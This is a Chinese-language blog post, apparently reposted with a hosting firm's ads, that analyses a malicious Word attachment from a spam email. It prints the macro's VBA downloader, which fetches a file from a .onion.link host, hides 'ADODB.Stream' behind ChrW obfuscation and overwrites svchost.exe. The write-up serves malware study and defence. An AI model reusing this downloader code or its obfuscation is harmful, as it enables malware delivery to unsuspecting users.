一次垃圾邮件的分析-创新互联

上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味,之前也没有分析过word附件,因而有了今天的分析。

让客户满意是我们工作的目标,不断超越客户的期望值来自于我们对这个行业的热爱。我们立志把好的技术通过有效、简单的方式提供给客户,将通过不懈努力成为客户在信息化领域值得信任、有价值的长期合作伙伴,公司提供的服务项目有:国际域名空间、网络空间、营销软件、网站建设、上杭网站维护、网站推广。
  • 环境:ubuntu 16.04
  • office软件: LibreOffice writer

1. FBI Warning

分析有风险,请在虚拟机上运行;且在分析之前要禁止word的宏自动运行

2. 邮件截图

一次垃圾邮件的分析

3. 邮件分析

可以看到邮件的正文内容,是由一张图片和一个附件组成,其中我们要重点关注的就是。

  • doc附件有密码,且密码为1115

4. 附件分析

一般分析方法

  • 4.1 一般来说,非打开方式去分析一个word附件,我们一般会选择oletools,但是这是在word文档非加密的情况下,加了密码后无法通过oletools来提取word文档中的宏。
  • 4.2 olevba 提取宏展示

    olevba -c xxx.doc
    • -c: 只显示word中的宏代码
    • -a: 自动分析word是否可疑
      一次垃圾邮件的分析

加了密码后,就不能用一般的分析方法

  • 4.3 尝试是用olevba来提取文档的vba代码
    一次垃圾邮件的分析
  • 4.4 关闭宏自动运行的前提下,打开word附件。
    • 4.4.1 可以看到,word文档需要密码,当你输入完密码后,就会自动打开文档,如果你之前启用了宏,那么当你输入完密码后就会中招。
      一次垃圾邮件的分析
    • 4.4.2 打开后,提示word文档包含宏
      一次垃圾邮件的分析
    • 4.4.3 诱惑用户启用宏
      一次垃圾邮件的分析
  • 4.5 查看宏代码
    可以看到这里存在一段vb编写的代码,从调用WinHttpReq可以猜出来,这一个word文档的作用是一个下载器
    一次垃圾邮件的分析

  • 4.6 宏代码分析
  • Step1. 访问暗网的某个网站下载一个文件,现在已经无法打开这个暗网的链接。
Sub Main
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")

WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password"
WinHttpReq.send

如下图,使用tor浏览器访问对应的暗网链接,返回一个网页来说明该暗网地址已经失效。
一次垃圾邮件的分析

  • Step2. 一个简单的混淆,拼凑出
    Dim first5 As String
    Dim second5 As String
    Dim last5 As String
    first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
    second5 = ChrW(97) & ChrW(109)
    last5 = first5 + second5

    其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,因而可以用python来做一个转换。

first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"
second5 = "ChrW(97) & ChrW(109)"
def convert_vb2py(s):
    first_s = s.replace("ChrW","chr")
    second_s = first_s.replace("&","+")
    return second_s
print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))

最终我们可以得到last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操作
一次垃圾邮件的分析

  • Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件

    xyuhjnx = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject(last5)
    oStream.Open
    oStream.Type = Val("1FFF")
    oStream.Write WinHttpReq.responseBody
    Dim first6 As String
    Dim last6 As String
    first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
    last6 = first6
    oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")
    oStream.Close
    End If
    End Sub

    代码获取icon.jpg的内容,并创建一个Stream对象写入icon.jpg的内容,然后保存到svchost.exe所在的目录,也就是c:\windows\system32\目录下,Val("2FFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数代表覆盖原来的文件。

  • 4.7 到此,我们分析完整个宏代码
    总的来说,这是一个downloader,下载恶意代码并替换系统的svchost.exe。国外的一些安全研究者也上传了去掉密码后的文档到恶意软件分析网站,下面是其中的一个链接。

参考链接

  • 其它事件分析1
  • 恶意软件分析网站分析结果
  • SaveToFIle参考

另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。


网页名称:一次垃圾邮件的分析-创新互联
本文来源:http://azwzsj.com/article/csiooh.html